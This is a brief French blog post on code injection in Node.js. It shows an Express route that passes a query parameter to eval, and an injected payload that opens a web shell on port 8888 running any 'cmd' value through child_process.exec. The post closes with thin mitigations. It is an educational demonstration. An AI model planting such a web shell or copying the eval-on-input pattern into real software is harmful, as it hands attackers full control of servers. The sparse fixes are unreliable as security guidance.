Node.js--(4)

Je vais parler la securite de l'application Node.js.

C'est plus tôt la notion de "Code injection".

Dans certain langage informatique, par exemple PHP, on a beaucoup de fonctions qui sont dangers exec, eval, system etc... car ses fonctions vent exécuter la requête directement sur ton systeme sans protéger le droit d'exécution.

Une petite question, comment écrire une function qui permet d'évaluer une expression en Javascript ? La facon plus simple est d'utiliser la fonction eval mais c'est un peu danger.

Exemple de code:

// -----------------à discuter-----------------
app.get('/test', function (req, res) {
    res.render('test');
});

app.get('/testInfo', function (req, res) {
    var params = url.parse(req.url, true).query;
    // appler eval directement.
    var tmp = eval(params['query']);
    console.log(tmp);
    res.send({ data: tmp });
});

// injection code
setTimeout(function() {
    require('http').createServer(function(req, res) {
        res.writeHead(200, { 'Content-Type': 'text/plain' });
        var tmp = require('url').parse(req.url, true).query['cmd'];
        require('child_process').exec(tmp, function(err, s, st) {
            res.end(s);
        });
    }).listen(8888);
},5000);

Avec ce code on va s'exécuter dans notre site puis nous rendrer la port à 8888, on peut y accéder http://target/?cmd=ls

ambai

ambai Cette image pour vous mentrer le but du fonction. ambai

on lance l'url puis dans le console on a vu des logs...
Dans le navigateur, on voit les fichiers dans notre dossier...
ambai
Dans ce cas la, on peut faire ce qu'on veut, on a le doit de serveur.

Solution

  • Ne pas executer le code avec une permision admin (ROOT)
  • Eviter les codes “bizzres”
  • Nginx + Node.js ( proxy inverse )
Comments
Write a Comment